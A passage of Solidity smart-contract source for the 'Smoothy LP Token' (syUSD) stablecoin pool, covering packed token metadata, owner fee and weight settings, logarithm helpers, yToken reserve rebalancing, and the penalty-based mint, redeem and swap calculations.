outAmount ); event SwapAll( address indexed provider, uint256[] amounts, uint256 inOutFlag, uint256 sTokenMintedOrBurned ); event Mint( address indexed provider, uint256 inAmounts, uint256 sTokenMinted ); event Redeem( address indexed provider, uint256 bTokenAmount, uint256 sTokenBurn ); constructor () public ERC20("", "") { } function name() public view virtual override returns (string memory) { return "Smoothy LP Token"; } function symbol() public view virtual override returns (string memory) { return "syUSD"; } function decimals() public view virtual override returns (uint8) { return 18; } /*************************************** * Methods to change a token info ***************************************/ /* return soft weight in 1e18 */ function _getSoftWeight(uint256 info) internal pure returns (uint256 w) { return ((info >> 160) & ((U256_1 << 20) - 1)) * 1e12; } function _setSoftWeight( uint256 info, uint256 w ) internal pure returns (uint256 newInfo) { require (w <= W_ONE, "soft weight must <= 1e18"); // Only maintain 1e6 resolution. newInfo = info & ~(((U256_1 << 20) - 1) << 160); newInfo = newInfo | ((w / 1e12) << 160); } function _getHardWeight(uint256 info) internal pure returns (uint256 w) { return ((info >> 180) & ((U256_1 << 20) - 1)) * 1e12; } function _setHardWeight( uint256 info, uint256 w ) internal pure returns (uint256 newInfo) { require (w <= W_ONE, "hard weight must <= 1e18"); // Only maintain 1e6 resolution. newInfo = info & ~(((U256_1 << 20) - 1) << 180); newInfo = newInfo | ((w / 1e12) << 180); } function _getDecimalMulitiplier(uint256 info) internal pure returns (uint256 dec) { return (info >> (160 + DECM_OFF)) & ((U256_1 << 5) - 1); } function _setDecimalMultiplier( uint256 info, uint256 decm ) internal pure returns (uint256 newInfo) { require (decm < 18, "decimal multipler is too large"); newInfo = info & ~(((U256_1 << 5) - 1) << (160 + DECM_OFF)); newInfo = newInfo | (decm << (160 + DECM_OFF)); } function _isYEnabled(uint256 info) internal pure returns (bool) { return (info >> (160 + YENABLE_OFF)) & 0x1 == 0x1; } function _setYEnabled(uint256 info, bool enabled) internal pure returns (uint256) { if (enabled) { return info | (U256_1 << (160 + YENABLE_OFF)); } else { return info & ~(U256_1 << (160 + YENABLE_OFF)); } } function _setTID(uint256 info, uint256 tid) internal pure returns (uint256) { require (tid < 256, "tid is too large"); require (_getTID(info) == 0, "tid cannot set again"); return info | (tid << (160 + TID_OFF)); } function _getTID(uint256 info) internal pure returns (uint256) { return (info >> (160 + TID_OFF)) & 0xFF; } /**************************************** * Owner methods ****************************************/ function pause(uint256 flag) external onlyOwner { _pause(); } function unpause(uint256 flag) external onlyOwner { _unpause(); } function changeRewardCollector(address newCollector) external onlyOwner { _rewardCollector = newCollector; } function adjustWeights( uint8 tid, uint256 newSoftWeight, uint256 newHardWeight ) external onlyOwner { require(newSoftWeight <= newHardWeight, "Soft-limit weight must <= Hard-limit weight"); require(newHardWeight <= W_ONE, "hard-limit weight must <= 1"); require(tid < _ntokens, "Backed token not exists"); _tokenInfos[tid] = _setSoftWeight(_tokenInfos[tid], newSoftWeight); _tokenInfos[tid] = _setHardWeight(_tokenInfos[tid], newHardWeight); } function changeSwapFee(uint256 swapFee) external onlyOwner { require(swapFee <= SWAP_FEE_MAX, "Swap fee must is too large"); _swapFee = swapFee; } function changeRedeemFee( uint256 redeemFee ) external onlyOwner { require(redeemFee <= REDEEM_FEE_MAX, "Redeem fee is too large"); _redeemFee = redeemFee; } function changeAdminFeePct(uint256 pct) external onlyOwner { require (pct <= ADMIN_FEE_PCT_MAX, "Admin fee pct is too large"); _adminFeePct = pct; } function changeAdminInterestPct(uint256 pct) external onlyOwner { require (pct <= ADMIN_FEE_PCT_MAX, "Admin interest fee pct is too large"); _adminInterestPct = pct; } function initialize( uint8 tid, uint256 bTokenAmount ) external onlyOwner { require(tid < _ntokens, "Backed token not exists"); uint256 info = _tokenInfos[tid]; address addr = address(info); IERC20(addr).safeTransferFrom( msg.sender, address(this), bTokenAmount ); _totalBalance = _totalBalance.add(bTokenAmount.mul(_normalizeBalance(info))); _mint(msg.sender, bTokenAmount.mul(_normalizeBalance(info))); } function addTokens( address[] memory tokens, address[] memory yTokens, uint256[] memory decMultipliers, uint256[] memory softWeights, uint256[] memory hardWeights ) external onlyOwner { require(tokens.length == yTokens.length, "tokens and ytokens must have the same length"); require( tokens.length == decMultipliers.length, "tokens and decMultipliers must have the same length" ); require( tokens.length == hardWeights.length, "incorrect hard wt. len" ); require( tokens.length == softWeights.length, "incorrect soft wt. len" ); for (uint8 i = 0; i < tokens.length; i++) { require(_tokenExist[tokens[i]] == 0, "token already added"); _tokenExist[tokens[i]] = 1; uint256 info = uint256(tokens[i]); require(hardWeights[i] >= softWeights[i], "hard wt. must >= soft wt."); require(hardWeights[i] <= W_ONE, "hard wt. must <= 1e18"); info = _setHardWeight(info, hardWeights[i]); info = _setSoftWeight(info, softWeights[i]); info = _setDecimalMultiplier(info, decMultipliers[i]); uint256 tid = i + _ntokens; info = _setTID(info, tid); _yTokenAddresses[tid] = yTokens[i]; // _balances[i] = 0; // no need to set if (yTokens[i] != address(0x0)) { info = _setYEnabled(info, true); } _tokenInfos[tid] = info; } _ntokens = _ntokens.add(tokens.length); } function setYEnabled(uint256 tid, address yAddr) external onlyOwner { uint256 info = _tokenInfos[tid]; if (_yTokenAddresses[tid] != address(0x0)) { // Withdraw all tokens from yToken, and clear yBalance. uint256 pricePerShare = YERC20(_yTokenAddresses[tid]).getPricePerFullShare(); uint256 share = YERC20(_yTokenAddresses[tid]).balanceOf(address(this)); uint256 cash = _getCashBalance(info); YERC20(_yTokenAddresses[tid]).withdraw(share); uint256 dcash = _getCashBalance(info).sub(cash); require(dcash >= pricePerShare.mul(share).div(W_ONE), "ytoken withdraw amount < expected"); // Update _totalBalance with interest _updateTotalBalanceWithNewYBalance(tid, dcash); _yBalances[tid] = 0; } info = _setYEnabled(info, yAddr != address(0x0)); _yTokenAddresses[tid] = yAddr; _tokenInfos[tid] = info; // If yAddr != 0x0, we will rebalance in next swap/mint/redeem/rebalance call. } /** * Calculate binary logarithm of x. Revert if x <= 0. * See LICENSE_LOG.md for license. * * @param x signed 64.64-bit fixed point number * @return signed 64.64-bit fixed point number */ function lg2(int128 x) internal pure returns (int128) { require (x > 0, "x must be positive"); int256 msb = 0; int256 xc = x; if (xc >= 0x10000000000000000) {xc >>= 64; msb += 64;} if (xc >= 0x100000000) {xc >>= 32; msb += 32;} if (xc >= 0x10000) {xc >>= 16; msb += 16;} if (xc >= 0x100) {xc >>= 8; msb += 8;} if (xc >= 0x10) {xc >>= 4; msb += 4;} if (xc >= 0x4) {xc >>= 2; msb += 2;} if (xc >= 0x2) {msb += 1;} // No need to shift xc anymore int256 result = (msb - 64) << 64; uint256 ux = uint256 (x) << (127 - msb); /* 20 iterations so that the resolution is aboout 2^-20 \approx 5e-6 */ for (int256 bit = 0x8000000000000000; bit > 0x80000000000; bit >>= 1) { ux *= ux; uint256 b = ux >> 255; ux >>= 127 + b; result += bit * int256(b); } return int128(result); } function _safeToInt128(uint256 x) internal pure returns (int128 y) { y = int128(x); require(x == uint256(y), "Conversion to int128 failed"); return y; } /** * @dev Return the approx logarithm of a value with log(x) where x <= 1.1. * All values are in integers with (1e18 == 1.0). * * Requirements: * * - input value x must be greater than 1e18 */ function _logApprox(uint256 x) internal pure returns (uint256 y) { uint256 one = W_ONE; require(x >= one, "logApprox: x must >= 1"); uint256 z = x - one; uint256 zz = z.mul(z).div(one); uint256 zzz = zz.mul(z).div(one); uint256 zzzz = zzz.mul(z).div(one); uint256 zzzzz = zzzz.mul(z).div(one); return z.sub(zz.div(2)).add(zzz.div(3)).sub(zzzz.div(4)).add(zzzzz.div(5)); } /** * @dev Return the logarithm of a value. * All values are in integers with (1e18 == 1.0). * * Requirements: * * - input value x must be greater than 1e18 */ function _log(uint256 x) internal pure returns (uint256 y) { require(x >= W_ONE, "log(x): x must be greater than 1"); require(x < (W_ONE << 63), "log(x): x is too large"); if (x <= W_ONE.add(W_ONE.div(10))) { return _logApprox(x); } /* Convert to 64.64 float point */ int128 xx = _safeToInt128((x << 64) / W_ONE); int128 yy = lg2(xx); /* log(2) * 1e18 \approx 693147180559945344 */ y = (uint256(yy) * 693147180559945344) >> 64; return y; } /** * Return weights and cached balances of all tokens * Note that the cached balance does not include the accrued interest since last rebalance. */ function _getBalancesAndWeights() internal view returns (uint256[] memory balances, uint256[] memory softWeights, uint256[] memory hardWeights, uint256 totalBalance) { uint256 ntokens = _ntokens; balances = new uint256[](ntokens); softWeights = new uint256[](ntokens); hardWeights = new uint256[](ntokens); totalBalance = 0; for (uint8 i = 0; i < ntokens; i++) { uint256 info = _tokenInfos[i]; balances[i] = _getCashBalance(info); if (_isYEnabled(info)) { balances[i] = balances[i].add(_yBalances[i]); } totalBalance = totalBalance.add(balances[i]); softWeights[i] = _getSoftWeight(info); hardWeights[i] = _getHardWeight(info); } } function _getBalancesAndInfos() internal view returns (uint256[] memory balances, uint256[] memory infos, uint256 totalBalance) { uint256 ntokens = _ntokens; balances = new uint256[](ntokens); infos = new uint256[](ntokens); totalBalance = 0; for (uint8 i = 0; i < ntokens; i++) { infos[i] = _tokenInfos[i]; balances[i] = _getCashBalance(infos[i]); if (_isYEnabled(infos[i])) { balances[i] = balances[i].add(_yBalances[i]); } totalBalance = totalBalance.add(balances[i]); } } function _getBalance(uint256 info) internal view returns (uint256 balance) { balance = _getCashBalance(info); if (_isYEnabled(info)) { balance = balance.add(_yBalances[_getTID(info)]); } } function getBalance(uint256 tid) public view returns (uint256) { return _getBalance(_tokenInfos[tid]); } function _normalizeBalance(uint256 info) internal pure returns (uint256) { uint256 decm = _getDecimalMulitiplier(info); return 10 ** decm; } /* @dev Return normalized cash balance of a token */ function _getCashBalance(uint256 info) internal view returns (uint256) { return IERC20(address(info)).balanceOf(address(this)) .mul(_normalizeBalance(info)); } function _getBalanceDetail( uint256 info ) internal view returns (uint256 pricePerShare, uint256 cashUnnormalized, uint256 yBalanceUnnormalized) { address yAddr = _yTokenAddresses[_getTID(info)]; pricePerShare = YERC20(yAddr).getPricePerFullShare(); cashUnnormalized = IERC20(address(info)).balanceOf(address(this)); uint256 share = YERC20(yAddr).balanceOf(address(this)); yBalanceUnnormalized = share.mul(pricePerShare).div(W_ONE); } /************************************************************************************** * Methods for rebalance cash reserve * After rebalancing, we will have cash reserve equaling to 10% of total balance * There are two conditions to trigger a rebalancing * - if there is insufficient cash for withdraw; or * - if the cash reserve is greater than 20% of total balance. * Note that we use a cached version of total balance to avoid high gas cost on calling * getPricePerFullShare(). *************************************************************************************/ function _updateTotalBalanceWithNewYBalance( uint256 tid, uint256 yBalanceNormalizedNew ) internal { uint256 adminFee = 0; uint256 yBalanceNormalizedOld = _yBalances[tid]; // They yBalance should not be decreasing, but just in case, if (yBalanceNormalizedNew >= yBalanceNormalizedOld) { adminFee = (yBalanceNormalizedNew - yBalanceNormalizedOld).mul(_adminInterestPct).div(W_ONE); } _totalBalance = _totalBalance .sub(yBalanceNormalizedOld) .add(yBalanceNormalizedNew) .sub(adminFee); } function _rebalanceReserve( uint256 info ) internal { require(_isYEnabled(info), "yToken must be enabled for rebalancing"); uint256 pricePerShare; uint256 cashUnnormalized; uint256 yBalanceUnnormalized; (pricePerShare, cashUnnormalized, yBalanceUnnormalized) = _getBalanceDetail(info); uint256 tid = _getTID(info); // Update _totalBalance with interest _updateTotalBalanceWithNewYBalance(tid, yBalanceUnnormalized.mul(_normalizeBalance(info))); uint256 targetCash = yBalanceUnnormalized.add(cashUnnormalized).div(10); if (cashUnnormalized > targetCash) { uint256 depositAmount = cashUnnormalized.sub(targetCash); // Reset allowance to bypass possible allowance check (e.g., USDT) IERC20(address(info)).safeApprove(_yTokenAddresses[tid], 0); IERC20(address(info)).safeApprove(_yTokenAddresses[tid], depositAmount); // Calculate acutal deposit in the case that some yTokens may return partial deposit. uint256 balanceBefore = IERC20(address(info)).balanceOf(address(this)); YERC20(_yTokenAddresses[tid]).deposit(depositAmount); uint256 actualDeposit = balanceBefore.sub(IERC20(address(info)).balanceOf(address(this))); _yBalances[tid] = yBalanceUnnormalized.add(actualDeposit).mul(_normalizeBalance(info)); } else { uint256 expectedWithdraw = targetCash.sub(cashUnnormalized); if (expectedWithdraw == 0) { return; } uint256 balanceBefore = IERC20(address(info)).balanceOf(address(this)); // Withdraw +1 wei share to make sure actual withdraw >= expected. YERC20(_yTokenAddresses[tid]).withdraw(expectedWithdraw.mul(W_ONE).div(pricePerShare).add(1)); uint256 actualWithdraw = IERC20(address(info)).balanceOf(address(this)).sub(balanceBefore); require(actualWithdraw >= expectedWithdraw, "insufficient cash withdrawn from yToken"); _yBalances[tid] = yBalanceUnnormalized.sub(actualWithdraw).mul(_normalizeBalance(info)); } } /* @dev Forcibly rebalance so that cash reserve is about 10% of total. */ function rebalanceReserve( uint256 tid ) external nonReentrantAndUnpaused { _rebalanceReserve(_tokenInfos[tid]); } /* * @dev Rebalance the cash reserve so that * cash reserve consists of 10% of total balance after substracting amountUnnormalized. * * Assume that current cash reserve < amountUnnormalized. */ function _rebalanceReserveSubstract( uint256 info, uint256 amountUnnormalized ) internal { require(_isYEnabled(info), "yToken must be enabled for rebalancing"); uint256 pricePerShare; uint256 cashUnnormalized; uint256 yBalanceUnnormalized; (pricePerShare, cashUnnormalized, yBalanceUnnormalized) = _getBalanceDetail(info); // Update _totalBalance with interest _updateTotalBalanceWithNewYBalance( _getTID(info), yBalanceUnnormalized.mul(_normalizeBalance(info)) ); // Evaluate the shares to withdraw so that cash = 10% of total uint256 expectedWithdraw = cashUnnormalized.add(yBalanceUnnormalized).sub( amountUnnormalized).div(10).add(amountUnnormalized).sub(cashUnnormalized); if (expectedWithdraw == 0) { return; } // Withdraw +1 wei share to make sure actual withdraw >= expected. uint256 withdrawShares = expectedWithdraw.mul(W_ONE).div(pricePerShare).add(1); uint256 balanceBefore = IERC20(address(info)).balanceOf(address(this)); YERC20(_yTokenAddresses[_getTID(info)]).withdraw(withdrawShares); uint256 actualWithdraw = IERC20(address(info)).balanceOf(address(this)).sub(balanceBefore); require(actualWithdraw >= expectedWithdraw, "insufficient cash withdrawn from yToken"); _yBalances[_getTID(info)] = yBalanceUnnormalized.sub(actualWithdraw) .mul(_normalizeBalance(info)); } /* @dev Transfer the amount of token out. Rebalance the cash reserve if needed */ function _transferOut( uint256 info, uint256 amountUnnormalized, uint256 adminFee ) internal { uint256 amountNormalized = amountUnnormalized.mul(_normalizeBalance(info)); if (_isYEnabled(info)) { if (IERC20(address(info)).balanceOf(address(this)) < amountUnnormalized) { _rebalanceReserveSubstract(info, amountUnnormalized); } } IERC20(address(info)).safeTransfer( msg.sender, amountUnnormalized ); _totalBalance = _totalBalance .sub(amountNormalized) .sub(adminFee.mul(_normalizeBalance(info))); } /* @dev Transfer the amount of token in. Rebalance the cash reserve if needed */ function _transferIn( uint256 info, uint256 amountUnnormalized ) internal { uint256 amountNormalized = amountUnnormalized.mul(_normalizeBalance(info)); IERC20(address(info)).safeTransferFrom( msg.sender, address(this), amountUnnormalized ); _totalBalance = _totalBalance.add(amountNormalized); // If there is saving ytoken, save the balance in _balance. if (_isYEnabled(info)) { uint256 tid = _getTID(info); /* Check rebalance if needed */ uint256 cash = _getCashBalance(info); if (cash > cash.add(_yBalances[tid]).mul(2).div(10)) { _rebalanceReserve(info); } } } /************************************************************************************** * Methods for minting LP tokens *************************************************************************************/ /* * @dev Return the amount of sUSD should be minted after depositing bTokenAmount into the pool * @param bTokenAmountNormalized - normalized amount of token to be deposited * @param oldBalance - normalized amount of all tokens before the deposit * @param oldTokenBlance - normalized amount of the balance of the token to be deposited in the pool * @param softWeight - percentage that will incur penalty if the resulting token percentage is greater * @param hardWeight - maximum percentage of the token */ function _getMintAmount( uint256 bTokenAmountNormalized, uint256 oldBalance, uint256 oldTokenBalance, uint256 softWeight, uint256 hardWeight ) internal pure returns (uint256 s) { /* Evaluate new percentage */ uint256 newBalance = oldBalance.add(bTokenAmountNormalized); uint256 newTokenBalance = oldTokenBalance.add(bTokenAmountNormalized); /* If new percentage <= soft weight, no penalty */ if (newTokenBalance.mul(W_ONE) <= softWeight.mul(newBalance)) { return bTokenAmountNormalized; } require ( newTokenBalance.mul(W_ONE) <= hardWeight.mul(newBalance), "mint: new percentage exceeds hard weight" ); s = 0; /* if new percentage <= soft weight, get the beginning of integral with penalty. */ if (oldTokenBalance.mul(W_ONE) <= softWeight.mul(oldBalance)) { s = oldBalance.mul(softWeight).sub(oldTokenBalance.mul(W_ONE)).div(W_ONE.sub(softWeight)); } // bx + (tx - bx) * (w - 1) / (w - v) + (S - x) * ln((S + tx) / (S + bx)) / (w - v) uint256 t; { // avoid stack too deep error uint256 ldelta = _log(newBalance.mul(W_ONE).div(oldBalance.add(s))); t = oldBalance.sub(oldTokenBalance).mul(ldelta); } t = t.sub(bTokenAmountNormalized.sub(s).mul(W_ONE.sub(hardWeight))); t = t.div(hardWeight.sub(softWeight)); s = s.add(t); require(s <= bTokenAmountNormalized, "penalty should be positive"); } /* * @dev Given the token id and the amount to be deposited, return the amount of lp token */ function getMintAmount( uint256 bTokenIdx, uint256 bTokenAmount ) public view returns (uint256 lpTokenAmount) { require(bTokenAmount > 0, "Amount must be greater than 0"); uint256 info = _tokenInfos[bTokenIdx]; require(info != 0, "Backed token is not found!"); // Obtain normalized balances uint256 bTokenAmountNormalized = bTokenAmount.mul(_normalizeBalance(info)); // Gas saving: Use cached totalBalance with accrued interest since last rebalance. uint256 totalBalance = _totalBalance; uint256 sTokenAmount = _getMintAmount( bTokenAmountNormalized, totalBalance, _getBalance(info), _getSoftWeight(info), _getHardWeight(info) ); return sTokenAmount.mul(totalSupply()).div(totalBalance); } /* * @dev Given the token id and the amount to be deposited, mint lp token */ function mint( uint256 bTokenIdx, uint256 bTokenAmount, uint256 lpTokenMintedMin ) external nonReentrantAndUnpaused { uint256 lpTokenAmount = getMintAmount(bTokenIdx, bTokenAmount); require( lpTokenAmount >= lpTokenMintedMin, "lpToken minted should >= minimum lpToken asked" ); _transferIn(_tokenInfos[bTokenIdx], bTokenAmount); _mint(msg.sender, lpTokenAmount); emit Mint(msg.sender, bTokenAmount, lpTokenAmount); } /************************************************************************************** * Methods for redeeming LP tokens *************************************************************************************/ /* * @dev Return number of sUSD that is needed to redeem corresponding amount of token for another * token * Withdrawing a token will result in increased percentage of other tokens, where * the function is used to calculate the penalty incured by the increase of one token. * @param totalBalance - normalized amount of the sum of all tokens * @param tokenBlance - normalized amount of the balance of a non-withdrawn token * @param redeemAount - normalized amount of the token to be withdrawn * @param softWeight - percentage that will incur penalty if the resulting token percentage is greater * @param hardWeight - maximum percentage of the token */ function _redeemPenaltyFor( uint256 totalBalance, uint256 tokenBalance, uint256 redeemAmount, uint256 softWeight, uint256 hardWeight ) internal pure returns (uint256) { uint256 newTotalBalance = totalBalance.sub(redeemAmount); /* Soft weight is satisfied. No penalty is incurred */ if (tokenBalance.mul(W_ONE) <= newTotalBalance.mul(softWeight)) { return 0; } require ( tokenBalance.mul(W_ONE) <= newTotalBalance.mul(hardWeight), "redeem: hard-limit weight is broken" ); uint256 bx = 0; // Evaluate the beginning of the integral for broken soft weight if (tokenBalance.mul(W_ONE) < totalBalance.mul(softWeight)) { bx = totalBalance.sub(tokenBalance.mul(W_ONE).div(softWeight)); } // x * (w - v) / w / w * ln(1 + (tx - bx) * w / (w * (S - tx) - x)) - (tx - bx) * v / w uint256 tdelta = tokenBalance.mul( _log(W_ONE.add(redeemAmount.sub(bx).mul(hardWeight).div(hardWeight.mul(newTotalBalance).div(W_ONE).sub(tokenBalance))))); uint256 s1 = tdelta.mul(hardWeight.sub(softWeight)) .div(hardWeight).div(hardWeight); uint256 s2 = redeemAmount.sub(bx).mul(softWeight).div(hardWeight); return s1.sub(s2); } /* * @dev Return number of sUSD that is needed to redeem corresponding amount of token * Withdrawing a token will result in increased percentage of other tokens, where * the function is used to calculate the penalty incured by the increase. * @param bTokenIdx - token id to be withdrawn * @param totalBalance - normalized amount of the sum of all tokens * @param balances - normalized amount of the balance of each token * @param softWeights - percentage that will incur penalty if the resulting token percentage is greater * @param hardWeights - maximum percentage of the token * @param redeemAount - normalized amount of the token to be withdrawn */ function _redeemPenaltyForAll( uint256 bTokenIdx, uint256 totalBalance, uint256[] memory balances, uint256[] memory softWeights, uint256[] memory hardWeights, uint256 redeemAmount ) internal pure returns (uint256) { uint256 s = 0; for (uint256 k = 0; k < balances.length; k++) { if (k == bTokenIdx) { continue; } s = s.add( _redeemPenaltyFor(totalBalance, balances[k], redeemAmount, softWeights[k], hardWeights[k])); } return s; } /* * @dev Calculate the derivative of the penalty function. * Same parameters as _redeemPenaltyFor. */ function _redeemPenaltyDerivativeForOne( uint256 totalBalance, uint256 tokenBalance, uint256 redeemAmount, uint256 softWeight, uint256 hardWeight ) internal pure returns (uint256) { uint256 dfx = W_ONE; uint256 newTotalBalance = totalBalance.sub(redeemAmount); /* Soft weight is satisfied. No penalty is incurred */ if (tokenBalance.mul(W_ONE) <= newTotalBalance.mul(softWeight)) { return dfx; } // dx = dx + x * (w - v) / (w * (S - tx) - x) / w - v / w // = dx + (x - (S - tx) v) / (w * (S - tx) - x) return dfx.add(tokenBalance.mul(W_ONE).sub(newTotalBalance.mul(softWeight)) .div(hardWeight.mul(newTotalBalance).div(W_ONE).sub(tokenBalance))); } /* * @dev Calculate the derivative of the penalty function. * Same parameters as _redeemPenaltyForAll. */ function _redeemPenaltyDerivativeForAll( uint256 bTokenIdx, uint256 totalBalance, uint256[] memory balances, uint256[] memory softWeights, uint256[] memory hardWeights, uint256 redeemAmount ) internal pure returns (uint256) { uint256 dfx = W_ONE; uint256 newTotalBalance = totalBalance.sub(redeemAmount); for (uint256 k = 0; k < balances.length; k++) { if (k == bTokenIdx) { continue; } /* Soft weight is satisfied. No penalty is incurred */ uint256 softWeight = softWeights[k]; uint256 balance = balances[k]; if (balance.mul(W_ONE) <= newTotalBalance.mul(softWeight)) { continue; } // dx = dx + x * (w - v) / (w * (S - tx) - x) / w - v / w // = dx + (x - (S - tx) v) / (w * (S - tx) - x) uint256 hardWeight = hardWeights[k]; dfx = dfx.add(balance.mul(W_ONE).sub(newTotalBalance.mul(softWeight)) .div(hardWeight.mul(newTotalBalance).div(W_ONE).sub(balance))); } return dfx; } /* * @dev Given the amount of sUSD to be redeemed, find the max token can be withdrawn * This function is for swap only. * @param tidOutBalance - the balance of the token to be withdrawn * @param totalBalance - total balance of all tokens * @param tidInBalance - the balance of the token to be deposited * @param sTokenAmount - the amount of sUSD to be redeemed * @param softWeight/hardWeight - normalized weights for the token to be withdrawn. */ function _redeemFindOne( uint256 tidOutBalance, uint256 totalBalance, uint256 tidInBalance, uint256 sTokenAmount, uint256 softWeight, uint256 hardWeight ) internal pure returns (uint256) { uint256 redeemAmountNormalized = Math.min( sTokenAmount, tidOutBalance.mul(999).div(1000) ); for (uint256 i = 0; i < 256; i++) { uint256 sNeeded = redeemAmountNormalized.add( _redeemPenaltyFor( totalBalance, tidInBalance, redeemAmountNormalized, softWeight, hardWeight )); uint256 fx = 0; if (sNeeded > sTokenAmount) { fx = sNeeded - sTokenAmount; } else { fx = sTokenAmount - sNeeded; } // penalty < 1e-5 of out amount if (fx < redeemAmountNormalized / 100000) { require(redeemAmountNormalized <= sTokenAmount, "Redeem error: out amount > lp amount"); require(redeemAmountNormalized <= tidOutBalance, "Redeem error: insufficient balance"); return redeemAmountNormalized; } uint256 dfx = _redeemPenaltyDerivativeForOne( totalBalance, tidInBalance, redeemAmountNormalized, softWeight, hardWeight ); if (sNeeded > sTokenAmount) { redeemAmountNormalized = redeemAmountNormalized.sub(fx.mul(W_ONE).div(dfx)); } else { redeemAmountNormalized = redeemAmountNormalized.add(fx.mul(W_ONE).div(dfx)); } } require (false, "cannot find proper resolution of fx"); } /* * @dev Given the amount of sUSD token to be redeemed, find the max token can be withdrawn * @param bTokenIdx - the id of the token to be withdrawn * @param sTokenAmount - the amount of sUSD token to be redeemed * @param totalBalance - total balance of all tokens * @param balances/softWeight/hardWeight - normalized balances/weights of all tokens */ function _redeemFind( uint256 bTokenIdx, uint256 sTokenAmount, uint256 totalBalance, uint256[] memory balances, uint256[] memory softWeights, uint256[] memory hardWeights ) internal pure returns (uint256) { uint256 bTokenAmountNormalized = Math.min( sTokenAmount, balances[bTokenIdx].mul(999).div(1000) ); for (uint256 i = 0; i < 256; i++) { uint256 sNeeded = bTokenAmountNormalized.add( _redeemPenaltyForAll( bTokenIdx, totalBalance, balances, softWeights, hardWeights, bTokenAmountNormalized )); uint256 fx = 0; if (sNeeded > sTokenAmount) { fx = sNeeded - sTokenAmount; } else { fx = sTokenAmount - sNeeded; } // penalty < 1e-5 of out amount if (fx < bTokenAmountNormalized / 100000) { require(bTokenAmountNormalized <= sTokenAmount, "Redeem error: out amount > lp amount"); require(bTokenAmountNormalized <= balances[bTokenIdx], "Redeem error: insufficient balance"); return bTokenAmountNormalized; } uint256 dfx = _redeemPenaltyDerivativeForAll( bTokenIdx, totalBalance, balances, softWeights, hardWeights, bTokenAmountNormalized ); if (sNeeded > sTokenAmount) { bTokenAmountNormalized = bTokenAmountNormalized.sub(fx.mul(W_ONE).div(dfx)); } else { bTokenAmountNormalized = bTokenAmountNormalized.add(fx.mul(W_ONE).div(dfx)); } } require (false, "cannot find proper resolution of fx"); } /* * @dev Given token id and LP token amount, return the max amount of token can be withdrawn * @param tid - the id of the token to be withdrawn * @param lpTokenAmount - the amount of LP token */ function _getRedeemByLpTokenAmount( uint256 tid, uint256 lpTokenAmount ) internal view returns (uint256 bTokenAmount, uint256 totalBalance, uint256 adminFee) { require(lpTokenAmount > 0, "Amount must be greater than 0"); uint256 info = _tokenInfos[tid]; require(info != 0, "Backed token is not found!"); // Obtain normalized balances. // Gas saving: Use cached balances/totalBalance without accrued interest since last rebalance. uint256[] memory balances; uint256[] memory softWeights; uint256[] memory hardWeights; (balances, softWeights, hardWeights, totalBalance) = _getBalancesAndWeights(); bTokenAmount = _redeemFind( tid, lpTokenAmount.mul(_totalBalance).div(totalSupply()), // use pre-admin-fee-collected totalBalance totalBalance, balances, softWeights, hardWeights ).div(_normalizeBalance(info)); uint256 fee = bTokenAmount.mul(_redeemFee).div(W_ONE); adminFee = fee.mul(_adminFeePct).div(W_ONE); bTokenAmount = bTokenAmount.sub(fee); } function getRedeemByLpTokenAmount( uint256 tid, uint256 lpTokenAmount ) public view returns (uint256 bTokenAmount) { (bTokenAmount,,) = _getRedeemByLpTokenAmount(tid, lpTokenAmount); } function redeemByLpToken( uint256 bTokenIdx, uint256 lpTokenAmount, uint256 bTokenMin ) external nonReentrantAndUnpaused { (uint256 bTokenAmount, uint256 totalBalance, uint256 adminFee) = _getRedeemByLpTokenAmount( bTokenIdx, lpTokenAmount ); require(bTokenAmount >= bTokenMin, "bToken returned < min bToken asked"); // Make sure _totalBalance == sum(balances) _collectReward(totalBalance); _burn(msg.sender, lpTokenAmount); _transferOut(_tokenInfos[bTokenIdx], bTokenAmount, adminFee); emit Redeem(msg.sender, bTokenAmount, lpTokenAmount); } /************************************************************************************** * Methods for swapping tokens *************************************************************************************/ /* * @dev Return the maximum amount of token can be withdrawn after depositing another token. * @param bTokenIdIn - the id of the token to be deposited * @param bTokenIdOut - the id of the token to be withdrawn * @param bTokenInAmount - the amount (unnormalized) of the token to be deposited */ function getSwapAmount( uint256 bTokenIdxIn, uint256 bTokenIdxOut, uint256 bTokenInAmount ) external view returns (uint256 bTokenOutAmount) { uint256 infoIn = _tokenInfos[bTokenIdxIn]; uint256 infoOut = _tokenInfos[bTokenIdxOut]; (bTokenOutAmount,) = _getSwapAmount(infoIn, infoOut, bTokenInAmount); } function _getSwapAmount( uint256 infoIn, uint256 infoOut, uint256 bTokenInAmount ) internal view returns (uint256 bTokenOutAmount, uint256 adminFee) { require(bTokenInAmount > 0, "Amount must be greater than 0"); require(infoIn != 0, "Backed token is not found!"); require(infoOut != 0, "Backed token is not found!"); require (infoIn != infoOut, "Tokens for swap must be different!"); // Gas saving: Use cached totalBalance without accrued interest since last rebalance. // Here we assume that the interest earned from the underlying platform is too small to // impact the result significantly. uint256 totalBalance = _totalBalance; uint256 tidInBalance = _getBalance(infoIn); uint256 sMinted = 0; uint256 softWeight = _getSoftWeight(infoIn); uint256 hardWeight = _getHardWeight(infoIn); { // avoid stack too deep error uint256 bTokenInAmountNormalized = bTokenInAmount.mul(_normalizeBalance(infoIn)); sMinted = _getMintAmount( bTokenInAmountNormalized, totalBalance, tidInBalance, softWeight, hardWeight ); totalBalance = totalBalance.add(bTokenInAmountNormalized); tidInBalance = tidInBalance.add(bTokenInAmountNormalized); } uint256 tidOutBalance = _getBalance(infoOut); // Find the bTokenOutAmount, only account for penalty from bTokenIdxIn // because other tokens should not have penalty since // bTokenOutAmount <= sMinted <= bTokenInAmount (normalized), and thus // for other tokens, the percentage decreased by bTokenInAmount will be // >= the percetnage increased by bTokenOutAmount. bTokenOutAmount = _redeemFindOne( tidOutBalance, totalBalance, tidInBalance, sMinted, softWeight, hardWeight ).div(_normalizeBalance(infoOut)); uint256 fee = bTokenOutAmount.mul(_swapFee).div(W_ONE); adminFee = fee.mul(_adminFeePct).div(W_ONE); bTokenOutAmount = bTokenOutAmount.sub(fee); } /* * @dev Swap a token to another. * @param bTokenIdIn - the id of the token to be deposited * @param bTokenIdOut - the id of the token to be withdrawn * @param bTokenInAmount - the amount (unnormalized) of the token to be deposited * @param bTokenOutMin - the mininum amount (unnormalized) token that is expected to be withdrawn */ function swap( uint256 bTokenIdxIn, uint256 bTokenIdxOut, uint256 bTokenInAmount, uint256 bTokenOutMin ) external nonReentrantAndUnpaused { uint256 infoIn = _tokenInfos[bTokenIdxIn]; uint256 infoOut = _tokenInfos[bTokenIdxOut]; ( uint256 bTokenOutAmount, uint256 adminFee ) = _getSwapAmount(infoIn, infoOut, 